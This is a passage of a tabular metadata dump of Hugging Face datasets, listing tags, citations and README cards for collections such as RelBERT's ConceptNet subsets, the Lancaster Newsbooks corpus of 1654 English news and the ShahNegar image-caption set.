author stringlengths 2 29 ⌀ | cardData null | citation stringlengths 0 9.58k ⌀ | description stringlengths 0 5.93k ⌀ | disabled bool 1 class | downloads float64 1 1M ⌀ | gated bool 2 classes | id stringlengths 2 108 | lastModified stringlengths 24 24 | paperswithcode_id stringlengths 2 45 ⌀ | private bool 2 classes | sha stringlengths 40 40 | siblings list | tags list | readme_url stringlengths 57 163 | readme stringlengths 0 977k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ufukhaman | null | null | null | false | 1 | false | ufukhaman/uspto_balanced_filtered_20k_ipc_patents | 2022-07-19T18:41:55.000Z | null | false | 963b836b3d7fd47cbd26d81f1fee35cd21ec1ddb | [] | [
"annotations_creators:USPTO",
"language:English",
"license:mit",
"multilinguality:monolingual",
"size_categories:10K<n<100K",
"source_datasets:original",
"tags:patent",
"tags:refined_patents",
"tags:patent classification",
"tags:uspto",
"tags:ipc",
"task_categories:text-classification",
"tas... | https://huggingface.co/datasets/ufukhaman/uspto_balanced_filtered_20k_ipc_patents/resolve/main/README.md | ---
annotations_creators:
- USPTO
language:
- English
license:
- mit
multilinguality:
- monolingual
pretty_name: uspto_balanced_filtered_200k_ipc_patents
size_categories:
- 10K<n<100K
source_datasets:
- original
tags:
- patent
- refined_patents
- patent classification
- uspto
- ipc
task_categories:
- text-classification
task_ids:
- topic-classification
---
|
relbert | null | @inproceedings{li-16,
title = {Commonsense Knowledge Base Completion},
author = {Xiang Li and Aynaz Taheri and Lifu Tu and Kevin Gimpel},
booktitle = {Proc. of ACL},
year = {2016}
}
@InProceedings{P16-1137,
author = "Li, Xiang
and Taheri, Aynaz
and Tu, Lifu
and Gimpel, Kevin",
title = "Commonsense Knowledge Base Completion",
booktitle = "Proceedings of the 54th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers) ",
year = "2016",
publisher = "Association for Computational Linguistics",
pages = "1445--1455",
location = "Berlin, Germany",
doi = "10.18653/v1/P16-1137",
url = "http://aclweb.org/anthology/P16-1137"
} | [ConceptNet with high confidence](https://home.ttic.edu/~kgimpel/commonsense.html) | false | 1 | false | relbert/conceptnet_high_confidence | 2022-09-20T01:13:24.000Z | null | false | 7a73e5c5d9569f29a92fc65be56c3908ec280419 | [] | [
"language:en",
"license:other",
"multilinguality:monolingual",
"size_categories:1K<n<10K"
] | https://huggingface.co/datasets/relbert/conceptnet_high_confidence/resolve/main/README.md | ---
language:
- en
license:
- other
multilinguality:
- monolingual
size_categories:
- 1K<n<10K
pretty_name: ConceptNet with High Confidence
---
# Dataset Card for "relbert/conceptnet_high_confidence"
## Dataset Description
- **Repository:** [RelBERT](https://github.com/asahi417/relbert)
- **Paper:** [https://home.ttic.edu/~kgimpel/commonsense.html](https://home.ttic.edu/~kgimpel/commonsense.html)
- **Dataset:** High Confidence Subset of ConceptNet
### Dataset Summary
The selected subset of ConceptNet used in [this work](https://home.ttic.edu/~kgimpel/commonsense.html), which compiled
to fine-tune [RelBERT](https://github.com/asahi417/relbert) model.
## Dataset Structure
### Data Instances
An example of `train` looks as follows.
```
{
"relation_type": "AtLocation",
"positives": [["fish", "water"], ["cloud", "sky"], ["child", "school"], ... ],
"negatives": [["pen", "write"], ["sex", "fun"], ["soccer", "sport"], ["fish", "school"], ... ]
}
```
### Data Splits
| name |train|validation|
|---------|----:|---------:|
|conceptnet_high_confidence| 25 | 24|
### Number of Positive/Negative Word-pairs in each Split
| relation_type | positive (train) | negative (train) | positive (validation) | negative (validation) |
|:-----------------|-------------------:|-------------------:|------------------------:|------------------------:|
| AtLocation | 383 | 1768 | 97 | 578 |
| CapableOf | 195 | 1790 | 73 | 600 |
| Causes | 71 | 1797 | 26 | 595 |
| CausesDesire | 9 | 1793 | 11 | 595 |
| CreatedBy | 2 | 1796 | 0 | 0 |
| DefinedAs | 0 | 0 | 2 | 595 |
| Desires | 16 | 1794 | 12 | 595 |
| HasA | 67 | 1814 | 17 | 595 |
| HasFirstSubevent | 2 | 1796 | 0 | 0 |
| HasLastSubevent | 2 | 1796 | 3 | 593 |
| HasPrerequisite | 168 | 1803 | 57 | 592 |
| HasProperty | 94 | 1801 | 39 | 605 |
| HasSubevent | 125 | 1798 | 40 | 609 |
| IsA | 310 | 1764 | 98 | 603 |
| MadeOf | 17 | 1793 | 7 | 593 |
| MotivatedByGoal | 14 | 1796 | 11 | 595 |
| NotCapableOf | 15 | 1793 | 0 | 0 |
| NotDesires | 4 | 1795 | 4 | 592 |
| PartOf | 34 | 1801 | 7 | 593 |
| ReceivesAction | 18 | 1793 | 8 | 593 |
| SymbolOf | 0 | 0 | 2 | 596 |
| UsedFor | 249 | 1815 | 81 | 588 |
| SUM | 1795 | 35896 | 595 | 11305 |
### Citation Information
```
@InProceedings{P16-1137,
author = "Li, Xiang
and Taheri, Aynaz
and Tu, Lifu
and Gimpel, Kevin",
title = "Commonsense Knowledge Base Completion",
booktitle = "Proceedings of the 54th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers) ",
year = "2016",
publisher = "Association for Computational Linguistics",
pages = "1445--1455",
location = "Berlin, Germany",
doi = "10.18653/v1/P16-1137",
url = "http://aclweb.org/anthology/P16-1137"
}
``` |
relbert | null | @inproceedings{speer2017conceptnet,
title={Conceptnet 5.5: An open multilingual graph of general knowledge},
author={Speer, Robyn and Chin, Joshua and Havasi, Catherine},
booktitle={Thirty-first AAAI conference on artificial intelligence},
year={2017}
} | [ConceptNet5](https://ojs.aaai.org/index.php/AAAI/article/view/11164) | false | 2 | false | relbert/conceptnet | 2022-07-26T10:24:35.000Z | null | false | 41b8a9a3b3f7aab40340b983c8fd852240cf5fc5 | [] | [
"language:en",
"license:other",
"multilinguality:monolingual",
"size_categories:1K<n<10K"
] | https://huggingface.co/datasets/relbert/conceptnet/resolve/main/README.md | ---
language:
- en
license:
- other
multilinguality:
- monolingual
size_categories:
- 1K<n<10K
pretty_name: ConceptNet
---
# Dataset Card for "relbert/conceptnet"
## Dataset Description
- **Repository:** [RelBERT](https://github.com/asahi417/relbert)
- **Paper:** [https://ojs.aaai.org/index.php/AAAI/article/view/11164](https://ojs.aaai.org/index.php/AAAI/article/view/11164)
- **Dataset:** ConceptNet5
### Dataset Summary
ConceptNet5, which compiled to fine-tune [RelBERT](https://github.com/asahi417/relbert) model.
## Dataset Structure
### Data Instances
An example of `train` looks as follows.
```
{
"relation_type": "AtLocation",
"positives": [["fish", "water"], ["cloud", "sky"], ["child", "school"], ... ],
"negatives": [["pen", "write"], ["sex", "fun"], ["soccer", "sport"], ["fish", "school"], ... ]
}
```
### Data Splits
| name |train|validation|
|---------|----:|---------:|
|conceptnet| 33 | 25|
### Number of Positive/Negative Word-pairs in each Split
| relation_type | positive (train) | negative (train) | positive (validation) | negative (validation) |
|:-----------------|-------------------:|-------------------:|------------------------:|------------------------:|
| Antonym | 3175 | 206870 | 703 | 65330 |
| AtLocation | 6974 | 203071 | 727 | 65306 |
| CapableOf | 603 | 209442 | 0 | 0 |
| Causes | 906 | 209139 | 83 | 65950 |
| CausesDesire | 195 | 209850 | 30 | 66003 |
| CreatedBy | 104 | 209941 | 4 | 66029 |
| DefinedAs | 16 | 210029 | 2 | 66031 |
| Desires | 374 | 209671 | 0 | 0 |
| DistinctFrom | 1552 | 208493 | 426 | 65607 |
| Entails | 277 | 209768 | 118 | 65915 |
| HasA | 606 | 209439 | 10 | 66023 |
| HasContext | 4664 | 205381 | 1936 | 64097 |
| HasFirstSubevent | 66 | 209979 | 17 | 66016 |
| HasLastSubevent | 82 | 209963 | 14 | 66019 |
| HasPrerequisite | 586 | 209459 | 123 | 65910 |
| HasProperty | 1397 | 208648 | 0 | 0 |
| HasSubevent | 644 | 209401 | 64 | 65969 |
| InstanceOf | 1 | 210044 | 0 | 0 |
| IsA | 54028 | 156017 | 21122 | 44911 |
| LocatedNear | 21 | 210024 | 3 | 66030 |
| MadeOf | 221 | 209824 | 23 | 66010 |
| MannerOf | 8762 | 201283 | 3747 | 62286 |
| MotivatedByGoal | 282 | 209763 | 35 | 65998 |
| NotCapableOf | 17 | 210028 | 0 | 0 |
| NotDesires | 235 | 209810 | 0 | 0 |
| NotHasProperty | 74 | 209971 | 19 | 66014 |
| PartOf | 6880 | 203165 | 2629 | 63404 |
| ReceivesAction | 290 | 209755 | 0 | 0 |
| RelatedTo | 61672 | 148373 | 11356 | 54677 |
| SimilarTo | 82 | 209963 | 36 | 65997 |
| SymbolOf | 1 | 210044 | 0 | 0 |
| Synonym | 52261 | 157784 | 22391 | 43642 |
| UsedFor | 2997 | 207048 | 415 | 65618 |
| SUM | 210045 | 6.72144e+06 | 66033 | 1.58479e+06 |
### Citation Information
```
@inproceedings{speer2017conceptnet,
title={Conceptnet 5.5: An open multilingual graph of general knowledge},
author={Speer, Robyn and Chin, Joshua and Havasi, Catherine},
booktitle={Thirty-first AAAI conference on artificial intelligence},
year={2017}
}
``` |
biglam | null | @misc{20.500.12024/2531,
title = {The Lancaster Newsbooks Corpus},
author = {Thomason, George, d. 1666},
url = {http://hdl.handle.net/20.500.12024/2531},
note = {Oxford Text Archive},
copyright = {Distributed by the University of Oxford under a Creative Commons Attribution-{NonCommercial}-{ShareAlike} 3.0 Unported License.},
year = {2005} } | This corpus consists of two collections of seventeenth-century English "newsbooks". Both were drawn from the Thomason Tracts collection, which is held at the British Library and available in graphical form via Early English Books Online (EEBO). The construction of these keyboarded versions were in both cases funded by the British Academy.
The FIRST collection (1654_newsbooks) consists of every newsbook published in London and still surviving in the Thomason Tracts from the first half of 1654 (to be precise, for the second half of December 1653 to the end of May 1654, with one or two additions from the first week in June, 1654). This was constructed for the project "Looking at text re-use in a corpus of seventeenth-century news reportage", funded by the British Academy, grant reference SG-33825.
The SECOND collection (mercurius_fumigosus) consists of every surviving issue published of the highly idiosyncratic newsbook "Mercurius Fumigosus", written by John Crouch between summer 1654 and early autumn 1655. This was constructed for the project "Decoding the news - Mercurius Fumigosus as a source of news in the interregnum, 1654-1655", funded by the British Academy, grant reference LRG-35423.
This is version 1.0 of the corpus, released April 2007; it supercedes earlier versions circulated informally.
For more information about the corpus, see www.ling.lancs.ac.uk/newsbooks | false | 1 | false | biglam/lancaster_newsbooks | 2022-08-18T16:03:54.000Z | null | false | c5cd49c2881afa3525bbf9298f503934f3805f5c | [] | [
"annotations_creators:no-annotation",
"language:en",
"language_creators:expert-generated",
"license:cc-by-sa-3.0",
"multilinguality:monolingual",
"size_categories:n<1K",
"source_datasets:original",
"tags:newsbooks",
"tags:1654",
"tags:lancaster",
"tags:oxford text"
] | https://huggingface.co/datasets/biglam/lancaster_newsbooks/resolve/main/README.md | ---
annotations_creators:
- no-annotation
paperswithcode_id: null
language:
- en
language_creators:
- expert-generated
license:
- cc-by-sa-3.0
multilinguality:
- monolingual
pretty_name: Lancaster Newsbooks
size_categories:
- n<1K
source_datasets:
- original
tags:
- newsbooks
- '1654'
- lancaster
- oxford text
task_categories: []
task_ids: []
---
# Dataset Card for lancaster_newsbooks
## Table of Contents
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-instances)
- [Data Splits](#data-instances)
- [Dataset Creation](#dataset-creation)
- [Curation Rationale](#curation-rationale)
- [Source Data](#source-data)
- [Annotations](#annotations)
- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
- [Citation Information](#citation-information)
## Dataset Description
- **Homepage:** https://ota.bodleian.ox.ac.uk/repository/xmlui/handle/20.500.12024/2531
- **Repository:** [Needs More Information]
- **Paper:** [Needs More Information]
- **Leaderboard:** [Needs More Information]
- **Point of Contact:** Tony McEnery
### Dataset Summary
This corpus consists of two collections of seventeenth-century English "newsbooks". Both were drawn from the Thomason Tracts collection, which is held at the British Library and available in graphical form via Early English Books Online (EEBO). The construction of these keyboarded versions were in both cases funded by the British Academy.
The FIRST collection (1654_newsbooks) consists of every newsbook published in London and still surviving in the Thomason Tracts from the first half of 1654 (to be precise, for the second half of December 1653 to the end of May 1654, with one or two additions from the first week in June, 1654). This was constructed for the project "Looking at text re-use in a corpus of seventeenth-century news reportage", funded by the British Academy, grant reference SG-33825.
The SECOND collection (mercurius_fumigosus) consists of every surviving issue published of the highly idiosyncratic newsbook "Mercurius Fumigosus", written by John Crouch between summer 1654 and early autumn 1655. This was constructed for the project "Decoding the news - Mercurius Fumigosus as a source of news in the interregnum, 1654-1655", funded by the British Academy, grant reference LRG-35423.
This is version 1.0 of the corpus, released April 2007; it supercedes earlier versions circulated informally.
For more information about the corpus, see www.ling.lancs.ac.uk/newsbooks
### Supported Tasks and Leaderboards
`text-classification`: This dataset can be used to augent existing datasets to find stylistic differences between texts from different time periods
### Languages
The language in this dataset is English from 1654. The associated BCP-47 code is `en:GB`
## Dataset Structure
### Data Instances
```
{
'id': 'PerfAcc170',
'text': "Another late fight in Scotland, betwixt Col. Morgan and the Highlanders; with the number that were slain and taken Prisoners. The removing of Lieut. Col. John Lilburn from the Tower of London. The readiness of our Fleet for new action, though Peace be agreed on with Holland and Denmark. The taking of several more Prizes at sea. An Order of the Commissioners for the Trial and Approbation of public Preachers. Several proceedings of His Highness the Lord Protector and his Council, and another Ordinance touching
the adjourning of the Term. Together with variety of choice Intelligence from several Foreign parts. From Wednesday APRIL 5 TO Wednesday April 12. 1654. Many Addresses were made to his Highness the Lord Protector, in the name of the City and County of York, and other places, wherein they acknowledge the great blessing of God to this Nation, that they have so great, so good and able a Protector. This day the Sessions began in the Old Bailey, and one of those that committed the late Robbery on Black-Heath, being called to his Trial, he refused to plead; but more hereafter. This evening about 9 of the Clock, the Dutch Ambassadors signed and sealed the Ratification of the Articles of Peace so long spoken of; so did likewise the Commissioners appointed to treat with them by his Highness the Lord Protector. Paris April 11, 1654. The Cardinal de Retz being removed from Vincennes by the Marshal de la Mesteray, is now safe arrived at Nantes, and put into the Castle. The Court Emissaries give out that he is not to be long there, but in a few days to be set at liberty, only that his Majesty desireth satisfaction upon some certain points, although the main drift is to make him surrender his place of Archbishop of this City. The Commissioners of Languedoc cannot yet prevail in anything upon their Complaints, but are like the Commissioners of Catalonia, who hitherto have prevailed no further than to receive many fair words, but nothing effectual, the main work now in hand, is to find monies speedily for the setting forth of the Army, that they may be in the field as soon as may be, and to that end the Partisans are not wanting to find out new ways for exacting of monies, preferring large sums to be put into the King's Coffers, the difficulty lieth only in the effecting of it, by reason that the Country is in most places so exhausted of monies, that they are scarce able to live: The design for the King's Coronation is now on foot again, and if I am rightly informed, it will be done about the middle of May next, which being done, his Majesty shall go upon the borders and down to Picardy to forward his Army in their Action, so much the rather, by reason
that the Prince of Conde, whom we hear was last week at Valenciennes, and then taking a view of his Army, is returned to Bruxels, there to confer with the Archduke Leopoldus for to obtain money and other necessaries for the march of his Army, that so they may fall to action as soon as the weather and season will give them leave, his Lady and son are still at Rocroy, where they are expecting some alteration to their present condition. The Earl of Harcourt hath not yet received any answer from the Court upon those proposals which he lately
sent to the Court. We have news, that the Duke Francis hath at last accepted the command of his Brother the Duke of Lorrain's Army, and is expected there in a few days, which our Cardinal doth very well relish. The forces that were in the Country of Liege are now marching homewards, and are to be quartered in Lorrain. The great preparation for an Armado to go from Marseilles and Touloon, is much at a stand, only there are lately 5 men of War gone to Sea, and 3 more are to follow, but upon no design than to rob and plunder upon the sea, sparing scarce any they encounter, whether they be friends or foes. This day his Highness the Lord Protector and his Council, passed an Ordinance for adjourning of Easter Term, from and after the first Return thereof, called Quindena Pasch, until the first Return of Trinity Term, called Crastino Trinatatis. Dalkieth, April 3. Cap. Sherwin Commander of the Primrose, and Cap. Smith Commander of the Duchess, in their return from Orkney, took a Dutch vessel laden with French and Spanish Wines, linen Cloth, and other good commodities, bound for
the West Indies; they sent her into Aberdeen. Some young Lairds and others purposing to glean a party of horse in Lothian, and repair to the enemy, are taken, and brought hither prisoners. Aberdeen, April 1. The Earl of Athol is come to Glencarn with about 700 horse and foot, Seaford and some new raised forces are daily expected to join with them. Glencarn with his whole force, consisting of 2000 horse and foot, is at Dingwel, two miles from Brahan, not undeserving the name of an Island, so that we hope to engage them there. In order whereunto Lieut. Col. Mitchell is marched towards Inverness with 9 companies of Foot, and Col. Morgan hath followed him with 5 troops of Col Rich his Regiment, and 4 troops of Dragoons; he intends to take Col. Tomlinson's Regiment, which is in his way, and to draw 5 companies of Foot out of Inverness. From Cows in the Isle of Wight, April 6. A private man of War hath, about two days since, taken and brought in hither two French vessels, one of which is laden with Salt, the other hath but little except ballast; Our Fleet is for the most part near St. Helens point and the rest as the Spits head, being in all near 100 sail, gallant ships, and bravely accommodated. One of our Frigates hath taken a Holland ship, and carried her to Portsmouth; she hath in her 8 Bales of Paper, and some small quantity of Indico. Many ships that were here, went away yesterday morning towards the Downs; and several Merchants' ships are at present here in this road, being detained by contrary winds; they expect some favourable Easterly gales, that so they may proceed on their intended voyages. Deal, April 7. A man of War of ours is this morning gone for Holland, to get the Ratification of the Peace made with them, and an Express from the Dutch Ambassador, touching the Agreement. Most part of the ships which remained in this Road, are gone up into the River of Thames; here is only some few left that are bound to the Southward. A Fleet consisting of about 40 or 50 sail of ships, great and small, passed by this place, which we suppose to be the Dunkirk fleet bound for London. Because many will not give credit to the Agreement of Peace between the Commonwealths of England and Holland, (though their Unbelief proceeds from several causes, some prejudicately fearing the worst, and others wishing and desiring rather than the Fountain of Blood may still be open) We can, and do assure you, That the Articles (as
we said before) were signed and sealed by the Commissioners on both sides, on Wednesday night last, and within 14 days are to be signed and sealed by the Lord Protector, and the States of Holland, and then to publicly proclaimed and published, both in England and Holland
in one day. The Agreement with Denmark is also taken in upon the Articles: And for satisfaction of the loss which our English Merchants sustained by that King's command, whose demands amount to about 150000l. it is referred to four Merchants, two whereof to be English, and the other two Dutch; which four Merchants shall have absolute power to determine those demands within the space of twenty days; the place where they are to sit, is Guildhall. As touching the business of Amboyna, it is referred to eight Commissioners, who have six months time to agree thereon, and in case they agree not, then Umpires are nominated to determine that business. Let those that delight themselves in blood, have blood to drink, for they are worthy. From Legorn, March 23. thus. This week in the sight of this City was a sore fight between two ships at Sea, the one Dutchman of War of 32 guns, and the other an English ship called the Expedition, who came from Zant with Currans; the fight lasted 6 hours, but night having parted them, both ships sunk; most of the men were saved, but nothing else, though the fight was near the shore. It is advertised from Cullen, That the Treaty between that Elector and the Spanish Commissioners, is brought to perfection, and signed, which is, That both French and Spanish shall have free passage through the Country of Liege, not committing any acts of hostility upon each other; and the Spaniards in point of satisfaction for the losses received from them and the Lorrainers, shall pay to the said Elector 200000 Rixdollars out of the Duke of Lorrain's estate, and for security of performance, the Lordship of Kerpen, and another in Gulick shall be put into his hands until full payment. From Poland thus. The General of the Cossacks hath delivered up three very considerable places to the Muscovite, and caused himself to be re baptized after the Muscovia manner, which is so
ill resented by all sorts of people in that Country, that the Commanders sent to the King of Poland, That if he pleased to send them a general pardon for what they had done, and the rest of the Army, they will return with the major part of the Army into his Majesty's service; which hath so incensed the General, that having caused them to be apprehended he hath made each of them shorter by the head, which hath caused much heart burning among the people. Whereas many abuses and corruptions are crept into the ordinary course and administration of Justice, both in Law and Equity, the reformation whereof hath not yet been attained; Out of a tender care and desire that so necessary and good a work may at length be brought to effect, it is held convenient that so necessary and good a work may at length be brought to effect, it is held convenient that so necessary and good a work may at length be brought to effect, it is held convenient and necessary to adjourn part of the next Term of Easter; be if therefore Ordained by his Highness the Lord Protector, by and with the consent of his Council, That part of the said Term of Easter now next coming be adjourned, that is to say, from and after the first Return, called Quindena Pasch, unto the last Return of the said Easter Term, called Crastino Ascensionis; And all and every person or persons, which have cause, or commandment to appear in any of the Courts at Westminster, in or at any day or time, from and after the said Return, called Quindena Pasch, may tarry at their dwellings, or where their business shall lie, without resorting to any of the said Courts for that
Cause, until the said last Return, called Crastino Ascensionis, without danger or forfeiture, penalty or contempt to be in that behalf. And be it also ordained by the Authority aforesaid, That Writs of Adjournment shall be directed to the Justices of the said Courts, and
Barons of the Exchequer, giving them authority to adjourn the said part of the said Term of Easter, as aforesaid, that is to say, from and after the said first Return called Quindena Pasch, until the said last Return of the said Term, called Crastino Ascensionis, as before is said, and the said adjournment shall be made, as aforesaid. And be it further Ordained, That all Matters, Causes and Suits, depending in any of the said Courts, shall have continuance, and the parties shall have day, from the day of the said Adjournment, until the said Return of Crastino Ascensionis, as is aforesaid; and the Lord's Commissioners of the Great Seal are required to issue forth Writs accordingly. And be it further Ordained, That a former Ordinance of the sixth day of this instant April, for the Adjourning of part of the
said Term, until the first Return of Trinity Term next, called Crastino Trinitatis, be from henceforth Repealed and void. And it is lastly Ordained by the Authority aforesaid, That the Sheriffs of London and Middlesex, and all other Sheriffs both in England and Wales, do
forthwith proclaim and publish this Ordinance in the chief Market Towns and usual places within their several and respective Counties. Lieutenant Colonel John Lilburn being said to have again attempted something against the State, is removed from the Tower to be prisoner
in some more remote place. The titular King of Scots is still at Paris, and of late something more merry than ordinary. The Deputies for Languedoc telling him, that if there were a Peace concluded with England, it would be well for all the Protestants in France; He made answer that he was glad of it, for it would then be the better for himself. This day was the Gaol delivery; three were hanged, one whereof died most desperately, and going up the Cart, drank a health to the Devil's Majesty: One was pressed last Saturday, and being afterwards heard to groan, was carried down to the Press-yard again to have the execution dispatched. The Commissioners for Approbation of public Ministers, sate at Whitehall, and divers Certificates were presented unto them in behalf of several particular persons, for approbation; and in regard that none hereafter should out of carelessness of partiality set their hands to a Certificate for any person that hereafter should out of carelessness or partiality let their hands to a Certificate for any person that hereafter may be found unworthy to be admitted, and so become prejudicial to the Church of Christ, and frustrate the intentions of our Governors which made this Ordinance; the said Commissioners do earnestly beseech all whom it may concern (in the bowels of Christ) as they tender the honour of the great God
himself, whose servants we all are, the prejudice of the souls of his people purchased by the blood of his Son, the advancement and propagation of his Gospel, through all the parts of this Land and Nation, whereunto we belong, so to lend assistance both of their fervent prayers, and due informations, that thereby the work may be carried on more prosperously, and the Commissioners more encouraged to attend it. Signed in the name, and at the request of the Commissioners for Approbation of public Preachers. By Francis Rouse, Io. Arrowsmith.
William Goss. Stephen Marshall. The last Letters from Edinburgh speak of another Engagement betwixt Col. Morgan, and the Enemy; but they tell us not the particulars, only they say, that the Enemy is once more dispersed, and driven further up into the mountains, with the loss of about 200 men. The peace with Holland being concluded (as you heard before) our Merchants are lading of goods on shipboard, as fast as Lighters can be gotten to carry them where the ships ride at anchor. We likewise hear of the like preparations in Holland for transporting of goods of several sorts hither. And now all the rest of Europe are at a stand, or at leastwise stand gazing upon us, and begin to cast about with themselves, what action may be great and considerable enough for to be undertaken next by those great Fleets, which are as ready for action as any opportunity can be to offer itself. How they will be disposed of Time will discover. London, Printed by E. Alsop 1654.",
'title': 'A Perfect Account, Issue 170'}
```
### Data Fields
```
{
"id": Unique identifier for that data point("string"),
"text": Text in that datapoint("string"),
"title": The title of the news article("string")
}
```
### Data Splits
Train: 303
## Dataset Creation
### Curation Rationale
The FIRST collection (1654_newsbooks) consists of every newsbook published in London and still surviving in the Thomason Tracts from the first half of 1654 (to be precise, for the second half of December 1653 to the end of May 1654, with one or two additions from the first week in June, 1654) and was constructed for the project "Looking at text re-use in a corpus of seventeenth-century news reportage", funded by the British Academy, grant reference SG-33825.
The SECOND collection (mercurius_fumigosus) consists of every surviving issue published of the highly idiosyncratic newsbook "Mercurius Fumigosus", written by John Crouch between summer 1654 and early autumn 1655. This was constructed for the project "Decoding the news - Mercurius Fumigosus as a source of news in the interregnum, 1654-1655", funded by the British Academy, grant reference LRG-35423.
### Source Data
#### Initial Data Collection and Normalization
This corpus was created by the Department of Linguistics and English Language, Lancaster University.
#### Who are the source language producers?
The original data was humna-generated from existing newsbooks
### Annotations
#### Annotation process
[N/A]
#### Who are the annotators?
[N/A]
### Personal and Sensitive Information
None, since this dataset is from 1654
## Considerations for Using the Data
### Social Impact of Dataset
This dataset provides an insight into the news and social systems from 17th century England
### Discussion of Biases
The dataset is from the 17th century and some articles might reflect social biases of the time in terms of sexuality, gender, race, etc.
### Other Known Limitations
[N/A]
## Additional Information
### Dataset Curators
This corpus was created by the Department of Linguistics and English Language, Lancaster University.
Project leader: Tony McEnery
Corpus editor: Andrew Hardie
### Licensing Information
Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License
### Citation Information
@misc{20.500.12024/2531,
title = {The Lancaster Newsbooks Corpus},
author = {Thomason, George, d. 1666},
url = {http://hdl.handle.net/20.500.12024/2531},
note = {Oxford Text Archive},
copyright = {Distributed by the University of Oxford under a Creative Commons Attribution-{NonCommercial}-{ShareAlike} 3.0 Unported License.},
year = {2005} } |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-samsum-7328461a-11225503 | 2022-07-19T22:01:15.000Z | null | false | 6c18754cc3af5656edef386b34f37ef496788a33 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:samsum"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-samsum-7328461a-11225503/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- samsum
eval_info:
task: summarization
model: pszemraj/long-t5-tglobal-base-16384-booksum-V11
metrics: ['perplexity']
dataset_name: samsum
dataset_config: samsum
dataset_split: test
col_mapping:
text: dialogue
target: summary
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Summarization
* Model: pszemraj/long-t5-tglobal-base-16384-booksum-V11
* Dataset: samsum
* Config: samsum
* Split: test
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@pszemraj](https://huggingface.co/pszemraj) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-cnn_dailymail-73f27c66-11235504 | 2022-07-21T05:32:04.000Z | null | false | 97d2dd14602e380348a4f29f4441e70a01858e1f | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:cnn_dailymail"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-cnn_dailymail-73f27c66-11235504/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- cnn_dailymail
eval_info:
task: summarization
model: pszemraj/long-t5-tglobal-base-16384-booksum-V11
metrics: ['perplexity']
dataset_name: cnn_dailymail
dataset_config: 3.0.0
dataset_split: test
col_mapping:
text: article
target: highlights
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Summarization
* Model: pszemraj/long-t5-tglobal-base-16384-booksum-V11
* Dataset: cnn_dailymail
* Config: 3.0.0
* Split: test
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@pszemraj](https://huggingface.co/pszemraj) for evaluating this model. |
naver-clova-ix | null | null | null | false | 2,415 | false | naver-clova-ix/cord-v2 | 2022-07-19T23:43:33.000Z | null | false | 7f0115a4b758a71d6473b8d085751692da2fef98 | [] | [
"license:cc-by-4.0"
] | https://huggingface.co/datasets/naver-clova-ix/cord-v2/resolve/main/README.md | ---
license: cc-by-4.0
---
|
miyoung | null | null | null | false | 1 | false | miyoung/datasetTest | 2022-07-20T01:42:35.000Z | null | false | 672de36dac4dff8857b5b4f07443f721d0cada1a | [] | [
"license:afl-3.0"
] | https://huggingface.co/datasets/miyoung/datasetTest/resolve/main/README.md | ---
license: afl-3.0
---
|
Willaim | null | null | null | false | 2 | false | Willaim/H | 2022-07-20T02:50:07.000Z | null | false | 961402a28a0c436af83eab460132148053441208 | [] | [] | https://huggingface.co/datasets/Willaim/H/resolve/main/README.md | from transformers import AutoTokenizer, AutoModel
tokenizer = AutoTokenizer.from_pretrained("bigscience/bloom")
model = AutoModel.from_pretrained("bigscience/bloom") |
sadrasabouri | null | null | null | false | 8 | false | sadrasabouri/ShahNegar | 2022-10-21T11:54:05.000Z | null | false | 8acfecc725b172d1283aa50f67521ddc08b3c682 | [] | [
"annotations_creators:machine-generated",
"language_creators:expert-generated",
"language:en",
"license:mit",
"multilinguality:monolingual",
"size_categories:10K<n<100K",
"source_datasets:original",
"task_categories:image-to-text",
"task_categories:text-to-image",
"task_ids:image-captioning"
] | https://huggingface.co/datasets/sadrasabouri/ShahNegar/resolve/main/README.md | ---
annotations_creators:
- machine-generated
language_creators:
- expert-generated
language:
- en
license:
- mit
multilinguality:
- monolingual
size_categories:
- 10K<n<100K
source_datasets:
- original
task_categories:
- image-to-text
- text-to-image
task_ids:
- image-captioning
pretty_name: ShahNegar
---
# ShahNegar (A Plotted version of The Shahnameh)
This dataset is a plotted version of Ferdowsi's Shahnameh (which is a highly-regarded ancient set of Farsi poems) generated using DALL-E mini (aka [craiyon](https://www.craiyon.com/)). You can use this dataset using the code below:
```python
from datasets import load_dataset
dataset = load_dataset("sadrasabouri/ShahNegar")
```
## Table of Contents
- [Table of Contents](#table-of-contents)
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks and Leaderboards](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-fields)
- [Data Splits](#data-splits)
- [Dataset Creation](#dataset-creation)
- [Annotations](#annotations)
